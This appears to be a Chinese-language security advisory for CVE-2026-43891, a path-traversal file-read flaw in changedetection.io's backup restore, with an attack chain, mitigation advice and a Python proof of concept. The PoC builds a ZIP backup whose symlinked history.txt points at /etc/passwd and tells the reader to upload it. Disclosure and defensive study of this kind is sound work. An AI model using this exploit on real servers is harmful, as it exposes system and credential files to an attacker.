IPBUF安全漏洞报告
English
CVE-2026-43891 CVSS 7.5 高危

CVE-2026-43891 changedetection.io 任意文件读取漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-43891
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
changedetection.io

相关标签

任意文件读取路径遍历changedetection.io备份恢复漏洞CVE-2026-43891

漏洞概述

changedetection.io是一款免费开源的网页变更检测工具。在0.55.1版本之前,该软件存在一个严重的安全漏洞。漏洞成因在于应用程序在恢复备份时,盲目信任并解压攻击者控制的快照路径。在恢复ZIP备份文件的过程中,应用直接使用`shutil.copytree`将解压后的目录复制到活跃的数据存储区,且未对保留的文件(如history.txt)进行安全校验。攻击者可利用此机制,通过特制的备份文件读取服务器上的任意本地文件。

技术细节

该漏洞的核心在于备份恢复逻辑中缺乏对文件路径的严格验证。当用户上传并恢复一个恶意的备份ZIP文件时,应用程序会解压归档并调用`shutil.copytree(entry.path, dst_dir)`将文件复制到监控目录。由于未对ZIP包内的文件结构进行清洗,攻击者可以在备份中植入受控的文件或符号链接。特别是,攻击者可以操纵`history.txt`文件。恢复后,当应用程序解析并读取监控历史的`history.txt`属性时,它会读取攻击者指定路径的文件内容。由于CVSS向量为AV:N/AC:L/PR:N/UI:N/S:U,攻击者无需用户交互或认证即可通过网络触发此漏洞,导致高机密性影响。

攻击链分析

STEP 1
1. 制作恶意备份
攻击者创建一个特制的ZIP文件,其中包含一个符号链接或受控的history.txt文件,该文件指向服务器上的敏感路径(如/etc/passwd)。
STEP 2
2. 上传备份文件
攻击者通过changedetection.io的Web界面上传该恶意备份文件,并触发恢复功能。
STEP 3
3. 恢复与解压
应用程序使用shutil.copytree解压备份,将攻击者控制的文件(包括恶意history.txt)复制到数据存储目录中。
STEP 4
4. 文件读取
应用程序在恢复后解析监控历史,读取history.txt文件。由于该文件是符号链接或指向敏感路径,应用将敏感文件内容返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a malicious backup structure malicious_dir = 'poc_watch_uuid' os.makedirs(malicious_dir, exist_ok=True) # Create a symlink 'history.txt' pointing to a sensitive file (e.g., /etc/passwd) # Note: This requires creating the zip with symlinks, which needs specific handling or a unix-like environment. # Here is a conceptual Python script to generate such a zip. with zipfile.ZipFile('malicious_backup.zip', 'w') as zf: # In a real exploit, the zip would contain a symlink. # For demonstration, we simulate adding a file that the app might misinterpret or # creating a symlink if the OS allows during zip creation. # Unix example command to create the zip: # ln -s /etc/passwd history.txt # zip -y exploit.zip history.txt # Pythonic way to add a symlink info to the zip: info = zipfile.ZipInfo(os.path.join(malicious_dir, 'history.txt')) info.create_system = 3 # Unix info.external_attr = 0o120777 << 16 # Symlink magic zf.writestr(info, b'/etc/passwd') # The target of the symlink print("Malicious backup 'malicious_backup.zip' created.") print("Upload this file to the changedetection.io restore function.")

影响范围

changedetection.io < 0.55.1

防御指南

临时缓解措施
建议用户立即将changedetection.io升级到0.55.1版本以修复此漏洞。如果暂时无法升级,应严格限制对备份恢复接口的访问,禁止从不可信来源导入备份文件,并检查服务器日志是否存在异常的备份恢复操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表